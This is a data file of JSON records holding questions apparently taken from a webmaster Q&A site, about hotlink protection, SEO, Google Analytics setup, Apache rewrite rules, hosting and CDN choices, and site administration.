{"id":"45242","title":"prevent hotlinking of off-site content?","text":"I have a `www.example.com` site where I serve all static content (e.g. `http.\/\/www.example.com\/image.jpg`) off a CDN with URLs like `http:\/\/static.example.com\/image.jpg` An Apache 2 .htaccess rule prohibits non-empty, `non-example.com` referrals: <IfModule mod_rewrite.c> RewriteEngine On RewriteCond %{HTTP_REFERER} !^$ RewriteCond %{HTTP_REFERER} !^http(s)?:\/\/(www\\.)?example.com [NC] RewriteCond %{HTTP_REFERER} !^http(s)?:\/\/example.cloudfront.net [NC] RewriteRule \\.(jpeg|jpg|gif|bmp|png|mp3)$ - [NC,F,L] <\/IfModule> I still receive huge amounts of traffic from a very popular website that uses some sort of \"news roundup\" feature and hotlinks to `www.example.com\/image.jpg` (instead of static.example.com): this resource exists (for origin pull reasons), but the URL is not published anywhere. In fact, serving so many 403s is bringing my server down. How can this kind of hotlink traffic be blocked, or at least, how can it be redirected to the CDN before it reaches and cripples apache2?"}
{"id":"44110","title":"Separate site for website and web application - implications for SEO?","text":"I have a web application - primarily reserved for members but with some open access for trialling, and I have a website that is the main public face for the web application. The two are on two different websites. The main function of the website is to describe what you can do on the web application. If you want to try the app, the website sends you over to the web application. Are there any implications for SEO from this setup?"}
{"id":"49458","title":"Do you need permission to show an RSS feed?","text":"Does anyone know if you need permission to show an RSS feed on your website? I want to show the BBC business RSS feed and I heard that I may need to get permission to show it. I did some Googling but couldn't find anything so does anyone know if this is true and if it is, how do I get permission?"}
{"id":"1957","title":"Can anyone recommend a Google SERP tracker?","text":"I want to track my website's position in Google's search results for around 50 keywords\/phrases and I am looking to a nice web service or Windows application to automate this process. Ideally, I want to see pretty Javascript or Flash line graphs for my keywords and their positions. I'm currently free-trialing Raven Tools and Sheer SEO but I am not particularly impressed with either. My budget is up to £25-30\/$30-40 per month for a decent rank checker."}
{"id":"14067","title":"Considerations & Vendors for hosting healthcare related data & sites in Europe","text":"I am currently researching hosting vendors & services in Europe that I can use to build up websites & related web based applications for healthcare. Eventually we would like the users to be able to enter some personal medical information into these sites, so there is a need to ensure data privacy & confidentiality. Our company is US based, so we also need to adhere to US legislation eg SAS 70 Type II. Does anyone have any experience of reviewing hosting companies with regard to their data privacy certification? For example I know Rackspace & Verizon have centres in europe with SAS 70 Type II but I would like to find others. thanks, matt."}
{"id":"34046","title":"Do extra words in url affect SEO?","text":"Often for technical reasons we end up with some extra words in a url that we would not want to optimize for as they would have no bearing on the content. Examples would be: > sportssite.com\/ **content** \/sports-article > > movieportal.com\/ **node** \/movie-review > > electronicsforum.com\/ **blog** \/top-10-cameras > > webmasters.stackexchange.com\/ **questions\/34046** \/do-extra-words-in-url- > affect-seo Do these have any affect on ranking in any of the major search engines? Would it behoove us to strip the extra words?"}
{"id":"49456","title":"How to be alerted by email when new vbulletin version is available","text":"I currently have a vbulletin install and I don't log into the admin control panel very often - but I need to be alerted when a security patch or new version is available. I cannot find this option anywhere - does anyone know where you can find it? Or if it exists?"}
{"id":"68950","title":"is there any well-known shared web hosting company which supports mysql version 5.6?","text":"I need mysql version 5.6 for my website because full text search functionality with innodb have come with mysql that release. That's why I want to know that is there any well-known shared web hoisting which support mysql 5.6"}
{"id":"9183","title":"How can I increase my web site visitor?","text":"> **Possible Duplicate:** > What are the best ways to start driving traffic to a new website? I have a web site that www.viewbd.com But i have not enough visitor how can i increase my visitor or traffic"}
{"id":"6855","title":"How to bring visitors to a new website?","text":"> **Possible Duplicate:** > What are the best ways to start driving traffic to a new website? I am more of a programmer than an SEO expert. Whenever I develop a new website, no matter how good or bad it is, after the most of the development work is over, the ultimate question remains, how to bring visitors to a new website, how to let the world know of its existence. Search Engines are of no use, because they only help after visitors start coming to website."}
{"id":"3247","title":"How to create a portfolio website for minimal cost?","text":"I am planning on creating an online portfolio for myself, to use in my resume and to use for other personal use, with my own domain name. I am pretty sure there is nothing free out there to create a domain name and have a website for ourselves (correct me if I am wrong.) So I looked up Godaddy.com and found some domains really cheap, like for $4.99 a year which looked so unbelievable. I need your suggestions on how to get started on this. I plan to design my website on my own and post photos and make modifications to the code since i am a web developer. Which website would be good to have things the way I want them to be and what would be the price."}
{"id":"3151","title":"Finding results from _trackPageview in Google Analytics","text":"I have a number of PDFs on my website that I want to track when people click on them. To do that I added this code to each `<a>` tag referencing the PDFs, onclick=\"pageTracker._trackPageview('\/download\/nameOfPDF.pdf'); I then made sure the page with these links had my Google Analytics code and that the code was above all of my links (I placed it at the bottom of the `<head>` section. This exactly what I have (I replaced my URL and Account # though) <script type=\"text\/javascript\"> var _gaq = _gaq || []; _gaq.push(['_setAccount', 'UA-XXXXXXX-X']); _gaq.push(['_setDomainName', '.YYYYYYYYYY.com']); _gaq.push(['_trackPageview']); (function() { var ga = document.createElement('script'); ga.type = 'text\/javascript'; ga.async = true; ga.src = ('https:' == document.location.protocol ? 'https:\/\/ssl' : 'http:\/\/www') + '.google-analytics.com\/ga.js'; var s = document.getElementsByTagName('script')[0]; s.parentNode.insertBefore(ga, s); })(); <\/script> My issue is that 3 days later, I have 0 page views for the pdf documents in Top Content and the pages are not showing up at all. Is this because I made a mistake with my code placement or is it an issue with where I am looking in Google Analytics? I do know that I have had over 1000 page views on my site and the PDFs are rather popular so I am sure something isn't working properly."}
{"id":"13255","title":"Diary view- user interface","text":"I need to design a user inteface which shows the user his\/her list of appointments. Ideally it needs to show today, tomorrow, this week, this month as view options for filtering, user can choose open\/closed\/all appointments. I am looking for a diary view interface in existing websites for this. any reference urls for the same ?"}
{"id":"54783","title":"Category to page and blocking category URL via robots.txt - good for SEO?","text":"I am using a template which in the pages it allows me to add sidebars \/ more content under and above the content I want to pull from a category which is very helpful. If I create pages to display my categories content wont the page URLs go in conflict with the category URLs? By conflict I mean causing a duplicate content error? What I thought might help was to block from _robots.txt_ the category URLs of the blog ex. `\/category\/books` `\/category\/music` Would that be a good practice in order to avoid the duplicate content penalty?"}
{"id":"13252","title":"Search engine optimization for text with different colors","text":"We're trying to do SEO on our company website. Our company logo is just text (in image form), but has two colors in it. Our company name appears a lot in our website's text\/copy. For example, the sentence, This is our company name: COMPANY. is coded as, This is our company name: <span class=\"logo_black\">COMP<\/span> <span class=\"logo_red\">A<\/span> <span class=\"logo_black\">N<\/span> <span class=\"logo_red\">Y<\/span> Is it search engine friendly? If not, any suggestions?"}
{"id":"38774","title":"Selfoss says \"no entries found\"","text":"I installed selfoss as instructed in the readme, set up the rss feeds, but I get \"no entries found\" when I open it. Anyone got this problem?"}
{"id":"54338","title":"Demographics and interests reports in Google universal analytics","text":"I have an issue with Google Analytics, can't seem to find a guide how to activate Demographics and Interests reports. I am using the new version of analytics (Universal Analytics) and the script code looks something like this: (function (i, s, o, g, r, a, m) { i['GoogleAnalyticsObject'] = r; i[r] = i[r] || function () { (i[r].q = i[r].q || []).push(arguments) }, i[r].l = 1 * new Date(); a = s.createElement(o), m = s.getElementsByTagName(o)[0]; a.async = 1; a.src = g; m.parentNode.insertBefore(a, m) })(window, document, 'script', '\/\/www.google-analytics.com\/analytics.js', 'ga'); But the guide I found on google's page is for the old version (Classis Analytics). Does anyone know how I can activate this on Universal Analytics? Is this even possible?"}
{"id":"1487","title":"How to check pagerank of all pages of a website?","text":"How can I check Google Page Rank of all pages of a website without installing any tool on my machine?"}
{"id":"38771","title":"What dangers await if I block non-standard, non-major-usa search engine bots from my USA only website?","text":"I noticed tons of bandwidth being used by non-USA search engine bots, so I began blocking them in an effort to save bandwidth and cpu cycles for actual users and the search engines they come from (Google, Bing, Yahoo, Ask, etc.). Other than potentially losing some international traffic (which isn't really important to us since all of our content is very USA-centric), what additional dangers should I be concerned about? I'm using a modified version of Jeff Starr's User Agent Blocklist"}
{"id":"3309","title":"Using two salts for user authentication?","text":"When storing user credentials in a database, we all know that hashing the password is the bare minimum you should do, but salting it before hashing is better. The salt should be randomly generated, long enough, and unique for each user. I remember reading somewhere (but I don't remember where) an article about using **two** salts (both long enough and randomly generated) : 1. One global salt 2. One unique-per-entry salt The resulting hash would be : `hash(globalSalt + password + uniqueSalt)` (the order of concatenation is not really important). Is there any reason why this would be more secure than simply having one unique salt per entry ? We suppose that the attacker has access to the code files where the global salt is stored."}
{"id":"5495","title":"Is hosting a webapp in Europe faster for Europeans than if hosted in USA?","text":"I'm considering hosting a webapp to be used in northern Europe, but my current hosting provider is USA-based. I'm looking at about 17 hops from my machine to the hosting provider, and I'm concerned this will slow the webapp down. I've noticed that my hosted wiki is running a lot slower than a clone on my LAN. It's reasonable enough that LAN != Internet, but how I'm wondering whether the hosting location makes any significant difference? For a webapp (not a static site), **should I pick a local hosting provider to ensure a short response time,** or won't it matter at all? This is a very small webapp with few users, so it's not a performance problem in terms of user load. I just want to ensure shortest possible response time."}
{"id":"28523","title":"Adding a calculated metric to a custom report in Google Analytics","text":"Is there a way to display a calculated field in a `custom report`, for example I want to display the value of (event X \/ event Y) over time? (including `average event value`, `total events`, etc.)"}
{"id":"14206","title":"What is the best way to position div for mobile purpose viewing?","text":"I have a issue whereby images that are I div because of the style percentage width property will get resize weirdly and will not display correcty in pc or mobile iPhone What is the best way to position div for mobile purpose viewing Percentage or there are other alternative? Taking into consideration tat the image may be resize"}
{"id":"28525","title":"joomla ACL :: two groups permissions conflict","text":"I have several user groups on my website, like: * Site Staff * Departments * -- History department * -- Physics department * -- Foreign languages department * -- IT department etc I also have several categories, like: * News * About * ... * Departments * -- History department * -- Physics department * -- Foreign languages department * -- IT department etc Users in **Site Staff** group can edit entire site, except for **Departments** categories (I've set **Deny** permission for it). Each Department user group can edit only its corresponding category. I have successfully implemented all this. The question is: If a user belongs to two groups ( **Site Staff** and **Physics department** - for instance) - he should be able to edit the whole site, except for Departments category. **And also he should be able to edit _Physics department_ category** - this is what I cannot implement. Can you suggest any ideas?"}
{"id":"28526","title":"Getting a domain sub-directory url for a new server","text":"I have an web application server running tomcat and i need to publish my APIs to internet users. However I don't have a domain name for this server and I can only put the ip address of this server (e.g. _145.XXX.XXX.XXX_ ) to point out where my API xml files are located. I have another web server running with a domain name \" _http:\/\/www.webserver.com_ \" registered on the internet and I want to make use of its domain name to server my web application server API xml files location. How can I do that? using \"www.webserver.com\/api\" or using \"api.webserver.com\"? which is better? Also I wonder if I want to publish a _\"rstp:\/\/145.XXX.XXX.XXX\"_ web link for video streaming purpose, can I use _\"rstp:\/\/www.webserver.com\/api\"_ to replace it and how to do it? I always thought the url contain domain sub-directory name cannot point to another IP address, it only can point to another folder location on the webserver itself."}
{"id":"57034","title":"How to replace the path with a custom variable in the visitor flow?","text":"I would like to use Google Analytic's visitor flow to understand the behaviour of my visitors. My current visitor flow looks like this:  As you can see, my URL structure is not really friendly to this tool, and thus I'm having a hard time extracting any useful information from there. I've seen that analytics.js allows us to send custom variables, including overriding the path. I guess that I could override the path to give all pages of the same type a common (fake) path, something like: \/restaurant\/123\/index => \/restaurant \/restaurant\/456\/index => \/restaurant \/restaurant\/123\/order => \/order \/restaurant\/456\/order => \/order but I would be losing the potentially precious information that the original path represents. Is it possible to send a _custom variable_ to Google Analytics instead, and **have the visitor flow use the custom variable instead of the path** when displaying the above flow?"}
{"id":"30563","title":"How to remove spam links from google?","text":"My wordpress website got the pharma attack. Now there are lots of spam links on my website indexed by the Google. Is there possiblilty to remove these links from the Google using robots.txt file or some other method? PS. Since I have removed the malicious code, now these spam links give 404 error. Will Google automatically remove the non-existing links ? If yes, how long it takes? Thanks."}
{"id":"30562","title":"Where to find my website's source code?","text":"My company ordered a website and we were given all usernames and passwords but I can't find the PHP source files and this is my first website assignment. I have no prior exposure to web technologies although I've been programming for a decade and know computer usage inside out. I tried to use the cPanel to find .php files but there aren't any. There are no MySQL databases either. I'm lost."}
{"id":"53000","title":"Problem with Google Webmaster Tools Sitemap","text":"I have a WPMU 3.6.1 with Domain Mapping (0.5.4.3) with W3TC (0.9.3) and Google XML Sitemaps (4.0 BETA). I have 4 different sitemaps. * _sub-1.com\/sitemap.xml_ * _sub-2.com\/sitemap.xml_ * _sub-3.com\/sitemap.xml_ * _sub-4.com\/sitemap.xml_ on Google Webmaster Tools, I got 59 errors and 14 warnings. ### Sitemap errors > Errors: > We encountered an error while trying to access your Sitemap. Please ensure > your Sitemap follows our guidelines and can be accessed at the location you > provided and then resubmit. > > General HTTP error: 404 not found > > Sitemap: _sub-2.com\/sitemap-pt-post-2011-02.xml_ etc. But when I click on my sitemap links they work fine. ### Sitemap errors > Warnings: > URLs not accessible When we tested a sample of the URLs from your Sitemap, > we found that some URLs were not accessible to Googlebot due to an HTTP > status error. All accessible URLs will still be submitted. > > Sitemap: _sub-2.com\/sitemap-misc.xml_ > > HTTP Error: 404 > > URL: `\/sitemap.html` But when I click on my sitemap links they work fine. ### Sitemap errors > Index errors: > URLs not accessible When we tested a sample of the URLs from your Sitemap, > we found that some URLs were not accessible to Googlebot due to an HTTP > status error. All accessible URLs will still be submitted. > > HTTP Error: 404 > > URL: _\/sitemap-pt-post-2010-09.xml_ But when I click on my sitemap links they work fine. ### Web pages * 3,276 Submitted * 3,247 Indexed What do I have to put on **_network admin > performance(w3tc) > page cache > cache preload > Sitemap URL_** ? I have added **\" _\/sitemap.xml_ \"** My _robots.txt_ : http:\/\/pastebin.com\/3K2U0mQa My _.htaccess_ : http:\/\/pastebin.com\/efJJ6zwy How can I make it work?"}
{"id":"59543","title":"Apache URL rewriting not working","text":"All `.php` files are rewritted before doing the below rewriting: test.php => test foo.php => foo I want to rewrite this URL `http:\/\/www.testdomain.com\/test?name=john&id=2&nick=doe` to `http:\/\/www.testdomain.com\/test\/john\/2\/doe`. `test` is the index file. I tried these methods to rewrite: 1. Method 1: RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^([^\/]+)\/([^\/]+)\/(.*)$ test?name=$1&id=$2&nick=$3 [L,QSA] 2. Method 2: RewriteEngine on RewriteCond %{REQUEST_FILENAME} !-f RewriteCond %{REQUEST_FILENAME} !-d RewriteRule ^([^\/]+)\/([^\/]+)\/(.*)$ test.php?name=$1&id=$2&nick=$3 [L,QSA] 3. Method 3: RewriteEngine On RewriteRule ^([^\/]*)\/([^\/]*)\/([^\/]*)$ \/test?name=$1&id=$2&nick=$3 [L] **updated .htaccess file** content: RewriteEngine On RewriteRule ^([^.?]+)$ %{REQUEST_URI}.php [L] RewriteCond %{THE_REQUEST} \"^[^ ]* .*?\\.php[? ].*$\" RewriteRule .* - [L,R=404] # RewriteCond %{REQUEST_FILENAME} !-f # RewriteCond %{REQUEST_FILENAME} !-d RewriteCond %{QUERY_STRING} ^name=([\\w]+)\\&id=([\\d]{1,3})\\&nick=([\\w]+)$ RewriteRule .* \/test\/%1\/%2\/%3? [R=301,L] All of them are not working (URL remains the same they don't take effect)! What am I doing wrong?"}
{"id":"20056","title":"Domain problem: viewing one site OFF another site?","text":"I have this scenario: * I have a domain, let's call it \"mydomain.com\". * Mydomain.com runs various \"sub-sites\", e.g.: mydomain.com\/shop\/view\/shop1, mydomain.com\/shop\/view\/shop2, mydomain.com\/shop\/view\/funkyShop etc I want to be able to link other URLs to these subsites. For example, if you one of the subsites has the URL \"shop1.com\", I want to link that to my site. So, basically, if someone goes to shop1.com, it must open mydomain.com\/shop\/view\/shop1. I know this can be done with parked domains and some coding or even a .htaccess file, but my scenario is furhter complicated. There are cases where the user has a website on, e.g, shop1.com. They just want a subpath, e.g.: shop1.com\/shop to point to mydomain.com\/shop\/view\/shop1. So my questions are: 1. Is this possible without parking the domain on my account? 2. Is the solution in the .htaccess file? 3. How can I make sure that if they open shop1.com\/shop that it doesnt just redirect, but actually SHOWS THE CONTENT from my site on their site?"}
{"id":"2799","title":"How should I layout my page if I only have a toolbar, but Menu? (as it typically is)","text":"I'm building a web application that revolves mostly around a grid, a treeview, and a toolbar. There is also an autocomplete section at the top of the site. Since I have never been trained in website design, and am mostly self taught, what would you recommend I do to make this look nicer? Do you know of any similar sites that I could imitate? The primary issue for me is what do I do with the toolbar & the content below it? How should I style\/treat the search box at the top? Should I add a menu above the toolbar containing pretty much the same stuff the bar has? What else do you recommend? http:\/\/www.tlsadmin.com\/tlsadmin\/portalhome.aspx  "}
{"id":"58793","title":"Removing an old Frontpage website from a domain and uploading a new (static) one","text":"I've been asked to refresh a really old website (made I think around 2000 with Frontpage) with a new version. So, after developing it locally, I jumped on the client's FTP and saw an unfamiliar folder structure: it's the damned Frontpage! Here's a screenshot of the folder structure:  And there's a bunch of html files, omitted to save space. I have no experience on Frontpage (luckily I guess), but my question is simple: * Is it safe to delete everything in the root of the host and upload my new website? * If anything goes wrong, will I be able to simple re-upload the old website and restore everything as it was before? I've read that uploading Frontpage websites via ftp is discouraged. The website is hosted on a Linux server and has no database, it's a plain simple web hosting"}
{"id":"1271","title":"What solutions to prevent spam of web forms are less intrusive for users?","text":"I know about captcha. However, often it is stated that captcha stops legitimate users due to the inconvenience. Are there other solution, that in particular look for pattern in the input similar to e-mail spamfilters, or for random sequences of letters? (In particular, a solution that works with drupal would be good)."}
{"id":"49024","title":"Should I have link rel=next & prev on URLs which have query variables?","text":"For example, I have link `rel prev & next` set up on these pages of products: site.com?page=2 site.com?page=3 (this is my preferred structure by the way and I'm trying to get all the ugly URLs which are littered with query variables deindexed as they are causing duplicate content). So the above URLs are fine but once a filter to narrow product results is selected, like \"price\", the URL shows like this: site.com?price[1000-1499]=on site.com?page=2&price[1000-1499]=on As of right now, I am having the link `rel prev & next` dynamically added to the header of these pages but since I am working on getting these query variable URLs pages deindexed, I am wondering if I should get rid of it on these pages? Any thoughts?"}
{"id":"18189","title":"Dictionary API for a website?","text":"I would like to have a dictionary for my website where the user can easily fill in a word or better yet right click a word and get the definition right there on the page or something along those lines. Are there any Dictionary API's out there that I can incorporate to my site? I have looked and cannot find anything."}
{"id":"13237","title":"Can I access domain registration (whois) history?","text":"I know how to find out who currently owns a domain (\"whois domainname\"). I'd very much like to get in touch with the previous (recent) owner of a single particular domain. Is that possible? Thanks."}
{"id":"18184","title":"What is a good method for creating a guide for standardized markup?","text":"I need to create a guide or wiki that outlines different standardized techniques for marking up reusable elements in our software. When adding new features our developers are often able to reuse or mimic existing markup, and I'd like to make this as easy as possible for them. In order to do this now they have to dig through the interface to find something that's close enough. Are there any good examples online that show code samples for standardized markup? Is there a tool (wiki, etc.) that would make this somewhat easy to create?"}
{"id":"18186","title":"Is there any browser add-on or extension or anything, by which we can see their current page views?","text":"Is there any browser add-on or extension or anything, by which we can see their current page views of websites displayed in google search results? or give us the page views of websites opened in the browser."}
{"id":"18181","title":"Please recommend a good web designer\/web developer web dictionary?","text":"Please recommend a good web designer\/web developer dictionary?"}
{"id":"18182","title":"Enable gzip compression on Bluehost?","text":"My website is loading large (~3mb) SVG file with jQuery. It takes quite a while therefore I decided to enable gzip compression. I have a hosting account with Bluehost which supports custom .htaccess files. Here is what I have tried to add to .htaccess file to enable compression without any success (I used Google's Page Speed for testing): <IfModule mod_php5.c> php_value output_buffering \"1\" php_value output_handler ob_gzhandler <\/IfModule> <IfModule mod_deflate.c> AddOutputFilterByType DEFLATE text\/html text\/xml text\/plain text\/css text\/javascript application\/x-javascript <\/IfModule> <IfModule mod_gzip.c> mod_gzip_on Yes mod_gzip_dechunk Yes mod_gzip_item_include file \\.(html?|txt|xml|css|js|php|pl|gif|jpg|jpeg|png|swf)$ mod_gzip_item_include handler ^cgi-script$ mod_gzip_item_include mime ^text\/.* mod_gzip_item_include mime ^application\/x-javascript.* mod_gzip_item_exclude mime ^image\/.* mod_gzip_item_exclude rspheader ^Content-Encoding:.*gzip.* <\/IfModule>"}
{"id":"35755","title":"Purchasing traffic effects on SEO","text":"I've recently found some websites which provide a specific number of visits by paying. I'm curious if this is a (very) bad practice for search engines (like Google)."}
{"id":"53008","title":"Website traffic - with no money (backlinks, spam, likes, tweets)","text":"I read a lot of things around the web. I saw people selling 4K backlinks and social real users tweets, likes, sharing links on Facebook, Twitter, Instagram etc.. Now, * assuming you have opened a site which is on beta stage and users needs invitations to signup * assuming you are not an administrator of any huge Facebook or social community (Facebook groups, meetup groups, forums, chats etc..), * assuming you don't have much money to spend for a huge campaign on paying ads, * assuming you want to stay out from venture capitalists, angels and so on (at least to check if you can do it without external\/third parties help) so... Is \"trusted\" SPAM, or paying backlinks, the only way you can go for getting some traffic to your website? If not can you describe how can you promote your website on the web excluding all the points above?"}
{"id":"59474","title":"Invalid categories","text":"I created a sub-category using an ampersand in its name. I somehow managed to successfully place this category into another category and now I'm unable to remove it. To further complicate this matter, I created another sub-category that has the same prefix: Category: Product Category: Features & Design Category: Features Clicking on `Features & Design` simply takes me to `Features`. How do I remove the `Features & Design` from the `Product` category?"}
{"id":"60118","title":"Apache mod rewrite rules for swapping directories","text":"I am trying to correct for an issue where some dynamic urls were generated where the downstream directory paths were swapped with what is normal and then the links were published. For example: `example.com\/en\/2014_01\/en-directory-01\/...` was created as `example.com\/es\/2014_01\/es-directory-01\/...` I have a whole slew of these where the `en\/` directory is accidentally paired with a `es-directory-#\/` directory. I have created a set of rewrite rules that I think cover them but don't seem to work. The format is: RewriteRule ^en\/(201[0-4]_[0-9]{2})\/es-directory-01\/(.*)?$ es\/201$1\/es-directory-01\/$2 [R=301,NC] RewriteRule ^en\/(201[0-4]_[0-9]{2})\/es-directory-02\/(.*)?$ es\/201$1\/es-directory-02\/$2 [R=301,NC] ... RewriteRule ^es\/201([0-4]_[0-9]{2})\/en-directory-01\/(.*)?$ en\/201$1\/en-directory-01\/$2 [R=301,NC] RewriteRule ^es\/201([0-4]_[0-9]{2})\/en-directory-01\/(.*)?$ en\/201$1\/en-directory-01\/$2 [R=301,NC] ... I don't need a rewrite condition for this, correct? Is there anything obviously wrong here?"}
{"id":"65315","title":"Is it possible to get Google to treat a .it domain as a generic top-level domain?","text":"We have the option of using a `.it` domain which is a ccTLD (country code top- level domain). We don't want it to be specific to Italy though, we want Google to treat it as a gTLD (generic top-level domain). It seems like in Google Webmaster Tools I can't change the geo targeting to switch it off from targeting Italy, but I was wondering if there is some other way we can get Google to realize that our `.it` domain is really a gTLD? Here's some details I found from Google regarding geo targeting domains. There's also this question where user w3d says (in reference to a `.nl` domain): > You can only specify the region yourself if you have a generic (non-country > specific) TLD such as .com or .org. > > However, this does not mean that your site won't appear on google.com or > even google.co.uk, providing your content is deemed relevant to those users. > Having a country specific TLD (or specifying a particular geographic target > for a generic TLD) makes your site more relevant in a localised search but > not necessarily any less relevant in a global search. The interesting part there for me is that a `.it` domain might not be any less relevant in a global search. Yet to make matters slightly more confusing (given w3d's empirically proven answer above), Matt Cutts says it's a bad idea generally in this video. Does this mean that our `.it` domain would appear in `Google.it` search results first over time, but then would appear on `Google.com` and `Google.co.uk` once we have enough relevance, and that this would be the same amount of relevance we'd need if we used a standard `.com` domain? Given that we're targeting worldwide traffic should we avoid using a `.it` domain, or will it not make any difference? What's the real story? I need evidence and sources too please."}
{"id":"29380","title":"How to create a paid membership site?","text":"I'm looking for a free solution to create a paid membership website. I would like to base it on Joomla or Wordpress if possible, because I already found nice video player and gallery modules for them. I would be grateful for a little help to get started. What plugins, extentions should I use? What payment processing services would you recommend? Thanks."}
{"id":"29387","title":"SSL Integration issue","text":"We have a godaddy VPS account and purchased an ssl certificate.We downloaded a .zip file that contains a .cert file. When we are trying to setup ssl, they are asking .key file with the .cert file, we dont have .key file . anybody know from where we got the .key file? Help is highly appreciated. Thanks, VKS"}
{"id":"29927","title":"CDN help, who should I go with and any alternatives?","text":"I have a image hosting site which has grown rapidly over the last 3months and I feel I need to look at a CDN. The dedicated server the site runs on is located in Holland (Europe) whilst image load times seen fine here I have reports that in the Americas and Asia loads times have become noticeable slower than usual. So what I want is a CDN network worldwide at least in Europe, Americas and Asia. Pricing must be inline with rackspace solution I have found below. Must have a PHP API. Must not only server files but also offer storage. The site currently needs 160GB of storage (this is growing by roughly 700mb per day) and at least 2600GB of bandwidth (prices below are based on American traffic) Options I'm looking at: http:\/\/www.rackspace.co.uk\/cloud-hosting\/cloud- products\/cloud-files\/ - Storage 11p and Bandwidth 12p per GB - PHP API - Worldwide storage included Can anyone recommend another company or another set-up?"}
{"id":"59407","title":"Create a way for Googlebot to find the deep pages in my site when users would find these pages via site search","text":"I have a website like Foursquare, where users search for business in a specific location. The users can click on markers inside the map to view details about the companies\/stores, and these details are opened in a dedicated page to each business. I don't want users to go to these detail pages from an index page with a bunch of links for each business names, but I need to make this pages visible to Googlebot. How can I do this? Can I create an index page visible to Google only?"}
{"id":"513","title":"How do you format SEM URLS to properly track results using analytics engines like Google analytics?","text":"If I were to purchase some advertising space on a website- what should I add to the end of the URL to track the results of that campaign in a tool like Google Analytics? * Is capitalization important? * What does each part of those URL additions mean? * Once entered, how do I make use of them in Google analytics? * Is the utm_* method a standard, or specific to Google analytics?"}
{"id":"29922","title":"IE disables back-button","text":"We have an ASP.Net (Web Forms) site hosted on IIS7. The site contains a table with information retrieved from a database. Paging is enabled for this table, meaning that only 10 rows are displayed at a time. (This is done with server-side code; as far as the browser is concerned, the table contains no more than 10 rows.) Once the DB reached over 1000 rows, the browser began disabling the back- button after the page loaded. Sometimes the back-button remained enabled until users navigated to _another_ website, and only then became disabled (instantly). After deleting some info in the DB, the problem stopped. But once the amount of records passed 1000, it started again. This only happens with Internet Explorer (no matter what version). This does not happen with Firefox or other browsers. Note: The back-button becomes disabled, but the history is all saved. **Why does this happen, and how can it be fixed?** The amount of records retrieved should only affect the server; the browser has no idea how many rows were retrieved. And yet, the \"choice\" to disable the back-button is client-side! Here's a link to the question on StackOverflow."}
{"id":"516","title":"When should I use a CSS framework?","text":"What are the best practice scenarios for using a CSS framework? When is it better to \"roll your own\" CSS from scratch rather than using frameworks?"}
{"id":"621","title":"Adsense - is it worth setting up?","text":"How much traffic is necessary for adsense to make sense?"}
{"id":"620","title":"Donations - do they actually work?","text":"I see lots of \"Donate\" buttons on websites which are not donations to charity as such, but of the form \"Donate to this website in order to help keep the website running\" or \"If you like this website, please donate some money\". For example, Tineye has > Has TinEye been useful to you? If so, please donate! I confess that I have never donated to any. I also don't feel like my website is a worthy enough cause to display a begging bowl. Does anybody actually make money off their \"Donate\" buttons? Specifically I mean those sites where it says \"Please donate some money to the author if you like this website\" rather than \"Please donate to a worthy cause\" (e.g. Red Cross, Unicef etc.) Hard data please!"}
{"id":"627","title":"What service or software should I use to serve advertising on a site with about 120k monthly page views?","text":"I have a site that is generating about 120k monthly page views and is being hosted on a shared FreeBSD server where I have access to PHP and MySQL. I am using some custom PHP server-side scripts that give each of my ad networks (AdSense, Tribal Fusion, etc) an adjustable percentage of impressions in each of the ad positions on my pages. I am looking for a better way of managing and measuring the delivery of these ads, and would also like to be able to take direct placements and provide statistics to the clients. I am looking at options including OpenX self-hosted, OpenX community, and Google DoubleClick for Publishers Small Business (DFP), but am having difficulty determining which one will best meet my needs. They all seem to have pretty steep learning curves compared to my simple scripts. What I have taken away so far as the benefit of self-hosting is that I don't have to pay for the service if I exceed a maximum number of ad impressions, while both OpenX Community and DFP have free impression limits. Of course, if I was doing those kind of numbers I'd need to upgrade my hosting account, but I'm not sure even at that point whether it would be cheaper to serve the ads myself than pay for a premium service. Apart from this, I really need insights into what features differentiate these services, why I might want to choose one over another, and if there are any other competing products or service of the same quality that I should look into. Answers from webmasters who have used both (or all three) services and can talk to usability and ease of ad management would be highly appreciated."}
{"id":"24489","title":"Configuring A Subdomain (cPanel) - www works, subdomain on it's own doesn't","text":"I've created a sub domain on my website using cPanel at test.mydomain.com, and this created a folder in my main 'www' directory called test. In this folder is a folder called cgi-bin, and it seems to redirect the page to say \"It works!\", but when I upload my own index.html file to the test directory it keeps showing http:\/\/test.mydomain.com\/cgi-sys\/defaultwebpage.cgi instead of the index file. If I go to www.test.mydomain.com then it works OK. How do I host my content at the sub domain? It's my first time setting one up so I'm a bit lost."}
{"id":"47675","title":"Google+ Local and Google+ Page","text":"Ok, I'm a bit confused by all of this, I have 2 main questions. 1. The company I work for has a Google Places account, now Google+ Local as I understand. Where I'm getting confused is, what is the difference between a Google+ Local page and a Google+ page? 2. In search results, there are a few competitors showing in the rankings with map markers to the right (not in the right hand side of the page) and under the web site name - Google+ page. The company I work for does better than these in the search results, but doesn't have a map marker or a link below to a Google+ page. Can anyone give me an idea how to get ranked like these other web sites? I have only today created a Google+ account, and would like some advice before I go creating a page when there already exists a Google+ Local page. I read here that these 2 pages should be merged?"}
{"id":"1220","title":"How to create a good sitemap for dynamic website","text":"I have a website with dynamic content and different kind of pages. I have some pages that rarely change, and I have pages like blogs that change often. The blog pages also have links for sorting, for example sorting on date, asc, desc. On some of the pages I also have links to different tabbed content, and links that are just anchor links. Now when I use a xml sitemap generator then all the links are thrown into the site, and so I don't think all the links are really relevant. The blogposts up until now are also taken into the sitemap. Is this really necessary? I think the links to the blogposts can be indexed just fine. Is the best way to make a sitemap just to manually assign the main menu links to the sitemap, or is indexing everything really recommended?"}
{"id":"23655","title":"Are github gists SEO friendly?","text":"I am kind of fan of Github and it's Gists. Since the gists can be included via a small Javascript snippet and `document.write` commands, I was asking myself if they were SEO friendly."}
{"id":"18021","title":"Are press releases worthwhile?","text":"I've heard a lot about using Press Releases for SEO? Is doing this worthwhile? What exactly do you do? Where do you go? Sorry, the idea of using press releases for SEO is new to me."}
{"id":"23653","title":"phpBB: Is there any mod for voting up Threads?","text":"I'm looking for a mod that enables users to **vote up threads**. I.e. not replies within threads, but threads _themselves_. Ideally, I'd prefer to have **only up-voting** ; no 1–5 stars, up\/down-votes, multiple-choices, etc. just up-voting (something that's akin to Google's +1 button). Is there anything like this out there? I've tried searching for this but couldn't find what I was looking for."}
